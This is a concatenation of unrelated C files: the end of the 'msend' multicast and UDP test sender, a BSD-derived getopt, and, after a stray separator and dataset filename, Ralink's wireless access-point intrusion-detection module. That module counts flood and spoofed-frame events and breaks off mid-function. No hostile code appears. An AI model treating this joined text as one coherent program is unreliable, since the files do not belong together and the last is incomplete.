WSADATA wsadata; int wsstatus;
if ((wsstatus = WSAStartup(MAKEWORD(2,2), &wsadata)) != 0) {
fprintf(stderr,"%s: WSA startup error - %d\n", argv[0], wsstatus);
exit(1);
}
}
#else
signal(SIGPIPE, SIG_IGN);
#endif /* _WIN32 */
/* Find out what the system default socket buffer size is. */
if((sock = socket(PF_INET,SOCK_DGRAM,0)) == INVALID_SOCKET) {
fprintf(stderr, "ERROR: "); perror("socket");
exit(1);
}
sz = sizeof(default_sndbuf_sz);
if (getsockopt(sock,SOL_SOCKET,SO_SNDBUF,(char *)&default_sndbuf_sz,
(socklen_t *)&sz) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("getsockopt - SO_SNDBUF");
exit(1);
}
CLOSESOCKET(sock);
/* default option values (declared as module globals) */
o_burst_count = 1; /* 1 message per "burst" */
o_decimal = 0; /* hex numbers in message text */
o_loops = 1; /* number of time to loop test */
o_msg_len = 0; /* variable */
o_num_bursts = 0; /* infinite */
o_pause = 1000; /* seconds between bursts */
o_Payload = NULL;
o_quiet = 0; o_quiet_equiv_opt = " ";
o_stat_pause = 0; /* no stat message */
o_Sndbuf_size = MIN_DEFAULT_SENDBUF_SIZE; o_Sndbuf_set = 0;
o_tcp = 0; /* 0 for udp (multicast or unicast) */
o_unicast_udp = 0; /* 0 for multicast or tcp */
/* default values for optional positional parms. */
ttlvar = 2;
bind_if = NULL;
test_num = -1;
while ((opt = tgetopt(argc, argv, "12345b:dhl:m:n:p:P:qs:S:tu")) != EOF) {
switch (opt) {
case '1':
test_num = 1;
o_burst_count = 1;
o_loops = 1;
o_msg_len = 20;
o_num_bursts = 600; /* 10 min */
o_pause = 1000;
o_quiet = 1; o_quiet_equiv_opt = " -q ";
o_stat_pause = 2000;
o_Sndbuf_size = MIN_DEFAULT_SENDBUF_SIZE; o_Sndbuf_set = 1;
break;
case '2':
test_num = 2;
o_burst_count = 1;
o_loops = 1;
o_msg_len = 5000;
o_num_bursts = 5; /* 5 sec */
o_pause = 1000;
o_quiet = 1; o_quiet_equiv_opt = " -q ";
o_stat_pause = 2000;
o_Sndbuf_size = MIN_DEFAULT_SENDBUF_SIZE; o_Sndbuf_set = 1;
break;
case '3':
test_num = 3;
o_burst_count = 100;
o_loops = 1;
o_msg_len = 8*1024;
o_num_bursts = 50; /* 5 sec */
o_pause = 100;
o_quiet = 1; o_quiet_equiv_opt = " -q ";
o_stat_pause = 2000;
o_Sndbuf_size = MIN_DEFAULT_SENDBUF_SIZE; o_Sndbuf_set = 1;
break;
case '4':
test_num = 4;
o_burst_count = 5000;
o_loops = 1;
o_msg_len = 20;
o_num_bursts = 1;
o_pause = 1000;
o_quiet = 1; o_quiet_equiv_opt = " -q ";
o_stat_pause = 2000;
o_Sndbuf_size = MIN_DEFAULT_SENDBUF_SIZE; o_Sndbuf_set = 1;
break;
case '5':
test_num = 5;
o_burst_count = 50000;
o_loops = 1;
o_msg_len = 800;
o_num_bursts = 1;
o_pause = 1000;
o_quiet = 1; o_quiet_equiv_opt = " -q ";
o_stat_pause = 2000;
o_Sndbuf_size = default_sndbuf_sz; o_Sndbuf_set = 0;
break;
case 'b':
o_burst_count = atoi(toptarg);
break;
case 'd':
o_decimal = 1;
break;
case 'h':
help(NULL); exit(0);
break;
case 'l':
o_loops = atoi(toptarg);
break;
case 'm':
o_msg_len = atoi(toptarg);
if (o_msg_len > 65536) {
o_msg_len = 65536;
fprintf(stderr, "warning, msg_len lowered to 65536\n");
}
break;
case 'n':
o_num_bursts = atoi(toptarg);
break;
case 'p':
o_pause = atoi(toptarg);
break;
case 'P':
o_msg_len = strlen(toptarg);
if (o_msg_len > 65536) {
fprintf(stderr, "Error, payload too big\n");
exit(1);
}
if (o_msg_len % 2 > 0) {
fprintf(stderr, "Error, payload must be even number of hex digits\n");
exit(1);
}
o_Payload = strdup(toptarg);
o_msg_len /= 2; /* num bytes worth of binary payload */
for (i = 0; i < o_msg_len; ++i) {
/* convert 2 hex digits to binary byte */
char c = o_Payload[i*2];
if (c >= '0' && c <= '9')
buff[i] = c - '0';
else if (c >= 'a' && c <= 'f')
buff[i] = c - 'a' + 10;
else if (c >= 'A' && c <= 'F')
buff[i] = c - 'A' + 10;
else {
fprintf(stderr, "Error, invalid hex digit in payload\n");
exit(1);
}
c = o_Payload[i*2 + 1];
if (c >= '0' && c <= '9')
buff[i] = 16*buff[i] + c - '0';
else if (c >= 'a' && c <= 'f')
buff[i] = 16*buff[i] + c - 'a' + 10;
else if (c >= 'A' && c <= 'F')
buff[i] = 16*buff[i] + c - 'A' + 10;
else {
fprintf(stderr, "Error, invalid hex digit in payload\n");
exit(1);
}
}
break;
case 'q':
++ o_quiet;
if (o_quiet == 1)
o_quiet_equiv_opt = " -q ";
else if (o_quiet == 2)
o_quiet_equiv_opt = " -qq ";
else
o_quiet = 2; /* never greater than 2 */
break;
case 's':
o_stat_pause = atoi(toptarg);
break;
case 'S':
o_Sndbuf_size = atoi(toptarg); o_Sndbuf_set = 1;
break;
case 't':
if (o_unicast_udp) {
fprintf(stderr, "Error, -t and -u are mutually exclusive\n");
exit(1);
}
o_tcp = 1;
break;
case 'u':
if (o_tcp) {
fprintf(stderr, "Error, -t and -u are mutually exclusive\n");
exit(1);
}
o_unicast_udp = 1;
break;
default:
usage("unrecognized option");
exit(1);
break;
} /* switch */
} /* while opt */
/* prevent careless usage from killing the network */
if (o_num_bursts == 0 && (o_burst_count > 50 || o_pause < 100)) {
usage("Danger - heavy traffic chosen with infinite num bursts.\nUse -n to limit execution time");
exit(1);
}
num_parms = argc - toptind;
strcpy(equiv_cmd, "CODE BUG!!! 'equiv_cmd' not initialized");
/* handle positional parameters */
if (num_parms == 2) {
groupaddr = inet_addr(argv[toptind]);
groupport = (unsigned short)atoi(argv[toptind+1]);
if (o_quiet < 2)
sprintf(equiv_cmd, "msend -b%d%s-m%d -n%d -p%d%s-s%d -S%d%s%s %s",
o_burst_count, (o_decimal)?" -d ":" ", o_msg_len, o_num_bursts,
o_pause, o_quiet_equiv_opt, o_stat_pause, o_Sndbuf_size,
(o_tcp) ? " -t " : ((o_unicast_udp) ? " -u " : " "),
argv[toptind],argv[toptind+1]);
printf("Equiv cmd line: %s\n", equiv_cmd);
fflush(stdout);
} else if (num_parms == 3) {
char c; int i;
groupaddr = inet_addr(argv[toptind]);
groupport = (unsigned short)atoi(argv[toptind+1]);
for (i = 0; (c = *(argv[toptind+2] + i)) != '\0'; ++i) {
if (c < '0' || c > '9') {
fprintf(stderr, "ERROR: third positional argument '%s' has non-numeric. Should be TTL.\n", argv[toptind+2]);
exit(1);
}
}
ttlvar = (unsigned char)atoi(argv[toptind+2]);
if (o_quiet < 2)
sprintf(equiv_cmd, "msend -b%d%s-m%d -n%d -p%d%s-s%d -S%d%s%s %s %s",
o_burst_count, (o_decimal)?" -d ":" ", o_msg_len, o_num_bursts,
o_pause, o_quiet_equiv_opt, o_stat_pause, o_Sndbuf_size,
(o_tcp) ? " -t " : ((o_unicast_udp) ? " -u " : " "),
argv[toptind],argv[toptind+1],argv[toptind+2]);
printf("Equiv cmd line: %s\n", equiv_cmd);
fflush(stdout);
} else if (num_parms == 4) {
groupaddr = inet_addr(argv[toptind]);
groupport = (unsigned short)atoi(argv[toptind+1]);
ttlvar = (unsigned char)atoi(argv[toptind+2]);
bind_if = argv[toptind+3];
if (o_quiet < 2)
sprintf(equiv_cmd, "msend -b%d%s-m%d -n%d -p%d%s-s%d -S%d%s%s %s %s %s",
o_burst_count, (o_decimal)?" -d ":" ", o_msg_len, o_num_bursts,
o_pause, o_quiet_equiv_opt, o_stat_pause, o_Sndbuf_size,
(o_tcp) ? " -t " : ((o_unicast_udp) ? " -u " : " "),
argv[toptind],argv[toptind+1],argv[toptind+2],bind_if);
printf("Equiv cmd line: %s\n", equiv_cmd);
fflush(stdout);
} else {
usage("need 2-4 positional parameters");
exit(1);
}
/* Only warn about small default send buf if no sendbuf option supplied */
if (default_sndbuf_sz < MIN_DEFAULT_SENDBUF_SIZE && o_Sndbuf_set == 0)
fprintf(stderr, "NOTE: system default SO_SNDBUF only %d (%d preferred)\n", default_sndbuf_sz, MIN_DEFAULT_SENDBUF_SIZE);
if (o_tcp) {
if((sock = socket(PF_INET,SOCK_STREAM,0)) == INVALID_SOCKET) {
fprintf(stderr, "ERROR: "); perror("socket");
exit(1);
}
} else {
if((sock = socket(PF_INET,SOCK_DGRAM,0)) == INVALID_SOCKET) {
fprintf(stderr, "ERROR: "); perror("socket");
exit(1);
}
}
/* Try to set send buf size and check to see if it took */
if (setsockopt(sock,SOL_SOCKET,SO_SNDBUF,(const char *)&o_Sndbuf_size,
sizeof(o_Sndbuf_size)) == SOCKET_ERROR) {
fprintf(stderr, "WARNING: "); perror("setsockopt - SO_SNDBUF");
}
sz = sizeof(check_size);
if (getsockopt(sock,SOL_SOCKET,SO_SNDBUF,(char *)&check_size,
(socklen_t *)&sz) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("getsockopt - SO_SNDBUF");
exit(1);
}
if (check_size < o_Sndbuf_size) {
fprintf(stderr, "WARNING: tried to set SO_SNDBUF to %d, only got %d\n",
o_Sndbuf_size, check_size);
}
memset((char *)&sin,0,sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = groupaddr;
sin.sin_port = htons(groupport);
if (! o_unicast_udp && ! o_tcp) {
#if defined(_WIN32)
wttl = ttlvar;
if (setsockopt(sock,IPPROTO_IP,IP_MULTICAST_TTL,(char *)&wttl,
sizeof(wttl)) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("setsockopt - TTL");
exit(1);
}
#else
if (setsockopt(sock,IPPROTO_IP,IP_MULTICAST_TTL,(char *)&ttlvar,
sizeof(ttlvar)) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("setsockopt - TTL");
exit(1);
}
#endif /* _WIN32 */
}
if (bind_if != NULL) {
#if !defined(_WIN32)
memset((char *)&iface_in,0,sizeof(iface_in));
iface_in.s_addr = inet_addr(bind_if);
#else
iface_in = inet_addr(bind_if);
#endif /* !_WIN32 */
if(setsockopt(sock, IPPROTO_IP, IP_MULTICAST_IF, (const char*)&iface_in,
sizeof(iface_in)) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("setsockopt - IP_MULTICAST_IF");
exit(1);
}
}
if (o_tcp) {
if((connect(sock,(struct sockaddr *)&sin,sizeof(sin))) == INVALID_SOCKET) {
fprintf(stderr, "ERROR: "); perror("connect");
exit(1);
}
int flag = 1;
if(setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag,
sizeof(flag)) == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("setsockopt - TCP_NODELAY");
exit(1);
}
}
/* Loop the test "o_loops" times (-l option) */
MAIN_LOOP:
if (o_num_bursts != 0) {
if (o_msg_len == 0) {
if (o_quiet < 2) {
printf("Sending %d bursts of %d variable-length messages\n",
o_num_bursts, o_burst_count);
fflush(stdout);
}
}
else {
if (o_quiet < 2) {
printf("Sending %d bursts of %d %d-byte messages\n",
o_num_bursts, o_burst_count, o_msg_len);
fflush(stdout);
}
}
}
/* 1st msg: give network hardware time to establish mcast flow */
if (test_num >= 0)
sprintf(cmdbuf, "echo test %d, sender equiv cmd %s", test_num, equiv_cmd);
else
sprintf(cmdbuf, "echo sender equiv cmd: %s", equiv_cmd);
/* if (o_tcp) {
* send_rtn = send(sock,cmdbuf,strlen(cmdbuf)+1,0);
* } else {
* send_rtn = sendto(sock,cmdbuf,strlen(cmdbuf)+1,0,(struct sockaddr *)&sin,sizeof(sin));
* }
* if (send_rtn == SOCKET_ERROR) {
* fprintf(stderr, "ERROR: "); perror("send");
* exit(1);
* }
* SLEEP_SEC(1);
*/
burst_num = 0;
msg_num = 0;
while (o_num_bursts == 0 || burst_num < o_num_bursts) {
if (o_pause > 0 && msg_num > 0)
SLEEP_MSEC(o_pause);
/* send burst */
for (i = 0; i < o_burst_count; ++i) {
send_len = o_msg_len;
if (! o_Payload) {
if (o_decimal)
sprintf(buff,"Message %d",msg_num);
else
sprintf(buff,"Message %x",msg_num);
if (o_msg_len == 0)
send_len = strlen(buff);
}
if (i == 0) { /* first msg in batch */
if (o_quiet == 0) { /* not quiet */
if (o_burst_count == 1)
printf("Sending %d bytes\n", send_len);
else
printf("Sending burst of %d msgs\n",
o_burst_count);
}
else if (o_quiet == 1) { /* pretty quiet */
}
/* else o_quiet > 1; very quiet */
}
send_rtn = sendto(sock,buff,send_len,0,(struct sockaddr *)&sin,sizeof(sin));
if (send_rtn == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("send");
exit(1);
}
else if (send_rtn != send_len) {
fprintf(stderr, "ERROR: sendto returned %d, expected %d\n",
send_rtn, send_len);
exit(1);
}
++msg_num;
} /* for i */
++ burst_num;
} /* while */
if (o_stat_pause > 0) {
/* send 'stat' message */
if (o_quiet < 2)
printf("Pausing before sending 'stat'\n");
SLEEP_MSEC(o_stat_pause);
if (o_quiet < 2)
printf("Sending stat\n");
sprintf(cmdbuf, "stat %d", msg_num);
send_len = strlen(cmdbuf);
send_rtn = sendto(sock,cmdbuf,send_len,0,(struct sockaddr *)&sin,sizeof(sin));
if (send_rtn == SOCKET_ERROR) {
fprintf(stderr, "ERROR: "); perror("send");
exit(1);
}
else if (send_rtn != send_len) {
fprintf(stderr, "ERROR: sendto returned %d, expected %d\n",
send_rtn, send_len);
exit(1);
}
if (o_quiet < 2)
printf("%d messages sent (not including 'stat')\n", msg_num);
}
else {
if (o_quiet < 2)
printf("%d messages sent\n", msg_num);
}
/* Loop the test "o_loops" times (-l option) */
-- o_loops;
if (o_loops > 0) goto MAIN_LOOP;
CLOSESOCKET(sock);
return(0);
} /* main */
/* tgetopt.c - (renamed from BSD getopt) - this source was adapted from BSD
*
* Copyright (c) 1993, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#ifdef _BSD
extern char *__progname;
#else
#define __progname "tgetopt"
#endif
int topterr = 1, /* if error message should be printed */
toptind = 1, /* index into parent argv vector */
toptopt, /* character checked for validity */
toptreset; /* reset getopt */
char *toptarg; /* argument associated with option */
#define BADCH (int)'?'
#define BADARG (int)':'
#define EMSG ""
/*
* tgetopt --
* Parse argc/argv argument vector.
*/
int
tgetopt(nargc, nargv, ostr)
int nargc;
char * const *nargv;
const char *ostr;
{
static char *place = EMSG; /* option letter processing */
char *oli; /* option letter list index */
/* really reset */
if (toptreset) {
topterr = 1;
toptind = 1;
toptopt = 0;
toptreset = 0;
toptarg = NULL;
place = EMSG;
}
if (!*place) { /* update scanning pointer */
if (toptind >= nargc || *(place = nargv[toptind]) != '-') {
place = EMSG;
return (-1);
}
if (place[1] && *++place == '-') { /* found "--" */
++toptind;
place = EMSG;
return (-1);
}
} /* option letter okay? */
if ((toptopt = (int)*place++) == (int)':' ||
!(oli = strchr(ostr, toptopt))) {
/*
* if the user didn't specify '-' as an option,
* assume it means -1.
*/
if (toptopt == (int)'-')
return (-1);
if (!*place)
++toptind;
if (topterr && *ostr != ':')
(void)fprintf(stderr,
"%s: illegal option -- %c\n", __progname, toptopt);
return (BADCH);
}
if (*++oli != ':') { /* don't need argument */
toptarg = NULL;
if (!*place)
++toptind;
}
else { /* need an argument */
if (*place) /* no white space */
toptarg = place;
else if (nargc <= ++toptind) { /* no arg */
place = EMSG;
if (*ostr == ':')
return (BADARG);
if (topterr)
(void)fprintf(stderr,
"%s: option requires an argument -- %c\n",
__progname, toptopt);
return (BADCH);
}
else /* white space */
toptarg = nargv[toptind];
place = EMSG;
++toptind;
}
return (toptopt); /* dump back option letter */
} /* tgetopt */
|
the_stack_data/67325452.c
|
/****************************************************************************
* Ralink Tech Inc.
* 4F, No. 2 Technology 5th Rd.
* Science-based Industrial Park
* Hsin-chu, Taiwan, R.O.C.
* (c) Copyright 2002, Ralink Technology, Inc.
*
* All rights reserved. Ralink's source code is an unpublished work and the
* use of a copyright notice does not imply otherwise. This source code
* contains confidential trade secret material of Ralink Tech. Any attemp
* or participation in deciphering, decoding, reverse engineering or in any
* way altering the source code is stricitly prohibited, unless the prior
* written consent of Ralink Technology, Inc. is obtained.
****************************************************************************
Module Name:
ap_ids.c
Abstract:
monitor intrusion detection condition
Revision History:
Who When What
-------- ---------- ----------------------------------------------
*/
#ifdef IDS_SUPPORT
#include "rt_config.h"
#define IDS_EXEC_INTV 1000 /* 1 sec */
VOID RTMPIdsStart(
IN PRTMP_ADAPTER pAd)
{
if (pAd->ApCfg.IDSTimerRunning == FALSE) {
RTMPSetTimer(&pAd->ApCfg.IDSTimer, IDS_EXEC_INTV);
pAd->ApCfg.IDSTimerRunning = TRUE;
}
}
VOID RTMPIdsStop(
IN PRTMP_ADAPTER pAd)
{
BOOLEAN Cancelled;
if (pAd->ApCfg.IDSTimerRunning == TRUE) {
RTMPCancelTimer(&pAd->ApCfg.IDSTimer, &Cancelled);
pAd->ApCfg.IDSTimerRunning = FALSE;
}
}
#ifdef SYSTEM_LOG_SUPPORT
VOID RTMPHandleIdsEvent(
IN PRTMP_ADAPTER pAd)
{
INT i, j;
UINT32 FloodFrameCount[IW_FLOOD_EVENT_TYPE_NUM];
UINT32 FloodFrameThreshold[IW_FLOOD_EVENT_TYPE_NUM];
FloodFrameCount[0] = pAd->ApCfg.RcvdAuthCount;
FloodFrameCount[1] = pAd->ApCfg.RcvdAssocReqCount;
FloodFrameCount[2] = pAd->ApCfg.RcvdReassocReqCount;
FloodFrameCount[3] = pAd->ApCfg.RcvdProbeReqCount;
FloodFrameCount[4] = pAd->ApCfg.RcvdDisassocCount;
FloodFrameCount[5] = pAd->ApCfg.RcvdDeauthCount;
FloodFrameCount[6] = pAd->ApCfg.RcvdEapReqCount;
FloodFrameThreshold[0] = pAd->ApCfg.AuthFloodThreshold;
FloodFrameThreshold[1] = pAd->ApCfg.AssocReqFloodThreshold;
FloodFrameThreshold[2] = pAd->ApCfg.ReassocReqFloodThreshold;
FloodFrameThreshold[3] = pAd->ApCfg.ProbeReqFloodThreshold;
FloodFrameThreshold[4] = pAd->ApCfg.DisassocFloodThreshold;
FloodFrameThreshold[5] = pAd->ApCfg.DeauthFloodThreshold;
FloodFrameThreshold[6] = pAd->ApCfg.EapReqFloodThreshold;
/* trigger flooding traffic event */
for (j = 0; j < IW_FLOOD_EVENT_TYPE_NUM; j++) {
if ((FloodFrameThreshold[j] > 0) && (FloodFrameCount[j] > FloodFrameThreshold[j])) {
RTMPSendWirelessEvent(pAd, IW_FLOOD_AUTH_EVENT_FLAG + j, NULL, MAIN_MBSSID, 0);
/*MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("flooding traffic event(%d) - %d\n", IW_FLOOD_AUTH_EVENT_FLAG + j, FloodFrameCount[j])); */
}
}
for (i = 0; i < pAd->ApCfg.BssidNum; i++) {
UINT32 SpoofedFrameCount[IW_SPOOF_EVENT_TYPE_NUM];
CHAR RssiOfSpoofedFrame[IW_SPOOF_EVENT_TYPE_NUM];
INT k;
SpoofedFrameCount[0] = pAd->ApCfg.MBSSID[i].RcvdConflictSsidCount;
SpoofedFrameCount[1] = pAd->ApCfg.MBSSID[i].RcvdSpoofedAssocRespCount;
SpoofedFrameCount[2] = pAd->ApCfg.MBSSID[i].RcvdSpoofedReassocRespCount;
SpoofedFrameCount[3] = pAd->ApCfg.MBSSID[i].RcvdSpoofedProbeRespCount;
SpoofedFrameCount[4] = pAd->ApCfg.MBSSID[i].RcvdSpoofedBeaconCount;
SpoofedFrameCount[5] = pAd->ApCfg.MBSSID[i].RcvdSpoofedDisassocCount;
SpoofedFrameCount[6] = pAd->ApCfg.MBSSID[i].RcvdSpoofedAuthCount;
SpoofedFrameCount[7] = pAd->ApCfg.MBSSID[i].RcvdSpoofedDeauthCount;
SpoofedFrameCount[8] = pAd->ApCfg.MBSSID[i].RcvdSpoofedUnknownMgmtCount;
SpoofedFrameCount[9] = pAd->ApCfg.MBSSID[i].RcvdReplayAttackCount;
RssiOfSpoofedFrame[0] = pAd->ApCfg.MBSSID[i].RssiOfRcvdConflictSsid;
RssiOfSpoofedFrame[1] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAssocResp;
RssiOfSpoofedFrame[2] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedReassocResp;
RssiOfSpoofedFrame[3] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedProbeResp;
RssiOfSpoofedFrame[4] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedBeacon;
RssiOfSpoofedFrame[5] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDisassoc;
RssiOfSpoofedFrame[6] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAuth;
RssiOfSpoofedFrame[7] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDeauth;
RssiOfSpoofedFrame[8] = pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedUnknownMgmt;
RssiOfSpoofedFrame[9] = pAd->ApCfg.MBSSID[i].RssiOfRcvdReplayAttack;
/* trigger spoofed attack event */
for (k = 0; k < IW_SPOOF_EVENT_TYPE_NUM; k++) {
if (SpoofedFrameCount[k] > 0) {
RTMPSendWirelessEvent(pAd, IW_CONFLICT_SSID_EVENT_FLAG + k, NULL, i, RssiOfSpoofedFrame[k]);
/*MTWF_LOG(DBG_CAT_AP, DBG_SUBCAT_ALL, DBG_LVL_TRACE, ("spoofed attack event(%d) - %d\n", IW_CONFLICT_SSID_EVENT_FLAG + k, SpoofedFrameCount[k])); */
}
}
}
}
#endif /* SYSTEM_LOG_SUPPORT */
VOID RTMPClearAllIdsCounter(
IN PRTMP_ADAPTER pAd)
{
INT i;
pAd->ApCfg.RcvdAuthCount = 0;
pAd->ApCfg.RcvdAssocReqCount = 0;
pAd->ApCfg.RcvdReassocReqCount = 0;
pAd->ApCfg.RcvdProbeReqCount = 0;
pAd->ApCfg.RcvdDisassocCount = 0;
pAd->ApCfg.RcvdDeauthCount = 0;
pAd->ApCfg.RcvdEapReqCount = 0;
pAd->ApCfg.RcvdMaliciousDataCount = 0;
for (i = 0; i < pAd->ApCfg.BssidNum; i++) {
pAd->ApCfg.MBSSID[i].RcvdConflictSsidCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedAssocRespCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedReassocRespCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedProbeRespCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedBeaconCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedDisassocCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedAuthCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedDeauthCount = 0;
pAd->ApCfg.MBSSID[i].RcvdSpoofedUnknownMgmtCount = 0;
pAd->ApCfg.MBSSID[i].RcvdReplayAttackCount = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdConflictSsid = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAssocResp = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedReassocResp = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedProbeResp = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedBeacon = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDisassoc = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAuth = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDeauth = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedUnknownMgmt = 0;
pAd->ApCfg.MBSSID[i].RssiOfRcvdReplayAttack = 0;
}
}
VOID RTMPIdsPeriodicExec(
IN PVOID SystemSpecific1,
IN PVOID FunctionContext,
IN PVOID SystemSpecific2,
IN PVOID SystemSpecific3)
{
PRTMP_ADAPTER pAd = (RTMP_ADAPTER *)FunctionContext;
pAd->ApCfg.IDSTimerRunning = FALSE;
#ifdef SYSTEM_LOG_SUPPORT
/* when IDS occured, send out wireless event */
if (pAd->CommonCfg.bWirelessEvent)
RTMPHandleIdsEvent(pAd);
#endif /* SYSTEM_LOG_SUPPORT */
/* clear all IDS counter */
RTMPClearAllIdsCounter(pAd);
/* set timer */
if (pAd->ApCfg.IdsEnable) {
RTMPSetTimer(&pAd->ApCfg.IDSTimer, IDS_EXEC_INTV);
pAd->ApCfg.IDSTimerRunning = TRUE;
}
}
/*
========================================================================
Routine Description:
This routine is used to check if a rogue AP sent an 802.11 management
frame to a client using our BSSID.
Arguments:
pAd - Pointer to our adapter
pHeader - Pointer to 802.11 header
Return Value:
TRUE - This is a spoofed frame
FALSE - This isn't a spoofed frame
========================================================================
*/
BOOLEAN RTMPSpoofedMgmtDetection(
IN RTMP_ADAPTER *pAd,
IN RX_BLK * rxblk)
{
INT i;
FRAME_CONTROL *FC = (FRAME_CONTROL *)rxblk->FC;
for (i = 0; i < pAd->ApCfg.BssidNum; i++) {
/* Spoofed BSSID detection */
if (NdisEqualMemory(rxblk->Addr2, pAd->ApCfg.MBSSID[i].wdev.bssid, MAC_ADDR_LEN)) {
CHAR RcvdRssi;
struct raw_rssi_info rssi_info;
rssi_info.raw_rssi[0] = rxblk->rx_signal.raw_rssi[0];
rssi_info.raw_rssi[1] = rxblk->rx_signal.raw_rssi[1];
rssi_info.raw_rssi[2] = rxblk->rx_signal.raw_rssi[2];
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
rssi_info.raw_rssi[3] = rxblk->rx_signal.raw_rssi[3];
#endif
RcvdRssi = RTMPMaxRssi(pAd,
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_0),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_1),
ConvertToRssi(pAd, &rssi_info, RSSI_IDX_2)
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
, ConvertToRssi(pAd, &rssi_info, RSSI_IDX_3)
#endif
);
switch (FC->SubType) {
case SUBTYPE_ASSOC_RSP:
pAd->ApCfg.MBSSID[i].RcvdSpoofedAssocRespCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAssocResp = RcvdRssi;
break;
case SUBTYPE_REASSOC_RSP:
pAd->ApCfg.MBSSID[i].RcvdSpoofedReassocRespCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedReassocResp = RcvdRssi;
break;
case SUBTYPE_PROBE_RSP:
pAd->ApCfg.MBSSID[i].RcvdSpoofedProbeRespCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedProbeResp = RcvdRssi;
break;
case SUBTYPE_BEACON:
pAd->ApCfg.MBSSID[i].RcvdSpoofedBeaconCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedBeacon = RcvdRssi;
break;
case SUBTYPE_DISASSOC:
pAd->ApCfg.MBSSID[i].RcvdSpoofedDisassocCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDisassoc = RcvdRssi;
break;
case SUBTYPE_AUTH:
pAd->ApCfg.MBSSID[i].RcvdSpoofedAuthCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedAuth = RcvdRssi;
break;
case SUBTYPE_DEAUTH:
pAd->ApCfg.MBSSID[i].RcvdSpoofedDeauthCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedDeauth = RcvdRssi;
break;
default:
pAd->ApCfg.MBSSID[i].RcvdSpoofedUnknownMgmtCount++;
pAd->ApCfg.MBSSID[i].RssiOfRcvdSpoofedUnknownMgmt = RcvdRssi;
break;
}
return TRUE;
}
}
return FALSE;
}
VOID RTMPConflictSsidDetection(
IN PRTMP_ADAPTER pAd,
IN PUCHAR pSsid,
IN UCHAR SsidLen,
IN CHAR Rssi0,
IN CHAR Rssi1,
IN CHAR Rssi2
#if defined(CUSTOMER_DCC_FEATURE) || defined(CONFIG_MAP_SUPPORT)
, IN CHAR Rssi3
#endif
)
{
INT i;
